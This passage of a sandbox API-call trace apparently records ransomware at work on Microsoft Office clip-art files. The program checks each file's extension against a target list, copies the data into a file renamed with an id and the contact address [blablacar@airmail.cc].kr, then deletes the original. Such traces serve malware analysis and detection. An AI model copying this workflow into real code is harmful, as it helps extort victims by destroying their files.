(lpString1=".xlsx", lpString2="5.WMF") returned -1 [0202.858] lstrlenW (lpString=".ppt") returned 4 [0202.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0202.858] lstrlenW (lpString=".zip") returned 4 [0202.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.858] lstrlenW (lpString=".rar") returned 4 [0202.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.858] lstrlenW (lpString=".bz2") returned 4 [0202.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.858] lstrlenW (lpString=".7z") returned 3 [0202.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0202.858] lstrlenW (lpString=".dbf") returned 4 [0202.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0202.858] lstrlenW (lpString=".1cd") returned 4 [0202.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0202.858] lstrlenW (lpString=".jpg") returned 4 [0202.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.859] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0202.859] lstrlenW (lpString="J0099176.WMF") returned 12 [0202.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.859] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2488) returned 1 [0202.859] CloseHandle (hObject=0x558) returned 1 [0202.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220 [0202.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.860] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.860] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.861] GetLastError () returned 0x0 [0202.861] ReadFile (in: hFile=0x558, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x9b8, lpOverlapped=0x0) returned 1 [0202.862] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0202.863] ReadFile (in: hFile=0x558, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0202.864] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0202.864] SetEndOfFile (hFile=0x534) returned 1 [0202.864] CloseHandle (hObject=0x534) returned 1 [0202.864] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.864] SetEndOfFile (hFile=0x558) returned 1 [0202.867] CloseHandle (hObject=0x558) returned 1 [0202.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0202.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0202.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0202.869] lstrlenW (lpString=".doc") returned 4 [0202.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.869] lstrlenW (lpString=".docx") returned 5 [0202.869] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0202.869] lstrlenW (lpString=".pdf") returned 4 [0202.869] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.869] lstrlenW (lpString=".xls") returned 4 [0202.869] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.869] lstrlenW (lpString=".xlsx") returned 5 [0202.869] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0202.869] lstrlenW (lpString=".ppt") returned 4 [0202.869] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0202.869] lstrlenW (lpString=".zip") returned 4 [0202.869] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.869] lstrlenW (lpString=".rar") returned 4 [0202.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.869] lstrlenW (lpString=".bz2") returned 4 [0202.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.869] lstrlenW (lpString=".7z") returned 3 [0202.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0202.869] lstrlenW (lpString=".dbf") returned 4 [0202.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0202.869] lstrlenW (lpString=".1cd") returned 4 [0202.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0202.869] lstrlenW (lpString=".jpg") returned 4 [0202.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0202.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0202.870] lstrlenW (lpString=".doc") returned 4 [0202.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.870] lstrlenW (lpString=".docx") returned 5 [0202.870] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0202.870] lstrlenW (lpString=".pdf") returned 4 [0202.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.870] lstrlenW (lpString=".xls") returned 4 [0202.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.870] lstrlenW (lpString=".xlsx") returned 5 [0202.870] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0202.870] lstrlenW (lpString=".ppt") returned 4 [0202.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0202.870] lstrlenW (lpString=".zip") returned 4 [0202.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.870] lstrlenW (lpString=".rar") returned 4 [0202.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.870] lstrlenW (lpString=".bz2") returned 4 [0202.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.870] lstrlenW (lpString=".7z") returned 3 [0202.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0202.870] lstrlenW (lpString=".dbf") returned 4 [0202.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0202.870] lstrlenW (lpString=".1cd") returned 4 [0202.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0202.870] lstrlenW (lpString=".jpg") returned 4 [0202.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.871] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0202.871] lstrlenW (lpString="J0099177.WMF") returned 12 [0202.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.873] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=5386) returned 1 [0202.873] CloseHandle (hObject=0x558) returned 1 [0202.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220 [0202.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0202.873] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.873] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.874] GetLastError () returned 0x0 [0202.874] ReadFile (in: hFile=0x558, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x150a, lpOverlapped=0x0) returned 1 [0203.192] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1510, lpOverlapped=0x0) returned 1 [0203.240] ReadFile (in: hFile=0x558, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.240] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0203.240] SetEndOfFile (hFile=0x534) returned 1 [0203.286] CloseHandle (hObject=0x534) returned 1 [0203.295] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.295] SetEndOfFile (hFile=0x558) returned 1 [0203.297] CloseHandle (hObject=0x558) returned 1 [0203.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0203.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0203.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0203.298] lstrlenW (lpString=".doc") returned 4 [0203.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0203.299] lstrlenW (lpString=".docx") returned 5 [0203.299] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0203.299] lstrlenW (lpString=".pdf") returned 4 [0203.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0203.299] lstrlenW (lpString=".xls") returned 4 [0203.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0203.299] lstrlenW (lpString=".xlsx") returned 5 [0203.299] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0203.299] lstrlenW (lpString=".ppt") returned 4 [0203.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0203.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0203.299] lstrlenW (lpString=".zip") returned 4 [0203.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0203.299] lstrlenW (lpString=".rar") returned 4 [0203.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0203.299] lstrlenW (lpString=".bz2") returned 4 [0203.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0203.299] lstrlenW (lpString=".7z") returned 3 [0203.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0203.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0203.299] lstrlenW (lpString=".dbf") returned 4 [0203.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0203.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0203.299] lstrlenW (lpString=".1cd") returned 4 [0203.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0203.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0203.299] lstrlenW (lpString=".jpg") returned 4 [0203.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0203.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0203.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0203.300] lstrlenW (lpString=".doc") returned 4 [0203.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0203.300] lstrlenW (lpString=".docx") returned 5 [0203.300] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0203.300] lstrlenW (lpString=".pdf") returned 4 [0203.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0203.300] lstrlenW (lpString=".xls") returned 4 [0203.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0203.300] lstrlenW (lpString=".xlsx") returned 5 [0203.300] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0203.300] lstrlenW (lpString=".ppt") returned 4 [0203.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0203.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0203.300] lstrlenW (lpString=".zip") returned 4 [0203.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0203.300] lstrlenW (lpString=".rar") returned 4 [0203.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0203.300] lstrlenW (lpString=".bz2") returned 4 [0203.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0203.300] lstrlenW (lpString=".7z") returned 3 [0203.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0203.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0203.300] lstrlenW (lpString=".dbf") returned 4 [0203.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0203.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0203.300] lstrlenW (lpString=".1cd") returned 4 [0203.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0203.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0203.300] lstrlenW (lpString=".jpg") returned 4 [0203.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0203.301] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0203.301] lstrlenW (lpString="J0099191.JPG") returned 12 [0203.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0203.431] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=62367) returned 1 [0203.431] CloseHandle (hObject=0x578) returned 1 [0203.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 0x220 [0203.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0204.543] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.543] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0204.544] GetLastError () returned 0x0 [0204.544] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xf39f, lpOverlapped=0x0) returned 1 [0204.547] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xf3a0, lpOverlapped=0x0) returned 1 [0204.549] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.549] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0204.549] SetEndOfFile (hFile=0x548) returned 1 [0204.549] CloseHandle (hObject=0x548) returned 1 [0204.549] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.549] SetEndOfFile (hFile=0x518) returned 1 [0204.555] CloseHandle (hObject=0x518) returned 1 [0204.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0204.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0204.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0204.557] lstrlenW (lpString=".doc") returned 4 [0204.557] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0204.557] lstrlenW (lpString=".docx") returned 5 [0204.557] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0204.557] lstrlenW (lpString=".pdf") returned 4 [0204.557] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0204.557] lstrlenW (lpString=".xls") returned 4 [0204.557] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0204.557] lstrlenW (lpString=".xlsx") returned 5 [0204.557] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0204.557] lstrlenW (lpString=".ppt") returned 4 [0204.557] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0204.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0204.557] lstrlenW (lpString=".zip") returned 4 [0204.557] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0204.557] lstrlenW (lpString=".rar") returned 4 [0204.557] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0204.557] lstrlenW (lpString=".bz2") returned 4 [0204.557] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0204.557] lstrlenW (lpString=".7z") returned 3 [0204.557] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0204.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0204.557] lstrlenW (lpString=".dbf") returned 4 [0204.557] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0204.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0204.557] lstrlenW (lpString=".1cd") returned 4 [0204.557] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0204.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0204.557] lstrlenW (lpString=".jpg") returned 4 [0204.558] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0204.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0204.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0204.558] lstrlenW (lpString=".doc") returned 4 [0204.558] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0204.558] lstrlenW (lpString=".docx") returned 5 [0204.558] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0204.558] lstrlenW (lpString=".pdf") returned 4 [0204.558] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0204.558] lstrlenW (lpString=".xls") returned 4 [0204.558] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0204.558] lstrlenW (lpString=".xlsx") returned 5 [0204.558] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0204.558] lstrlenW (lpString=".ppt") returned 4 [0204.558] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0204.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0204.558] lstrlenW (lpString=".zip") returned 4 [0204.558] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0204.558] lstrlenW (lpString=".rar") returned 4 [0204.558] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0204.558] lstrlenW (lpString=".bz2") returned 4 [0204.558] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0204.558] lstrlenW (lpString=".7z") returned 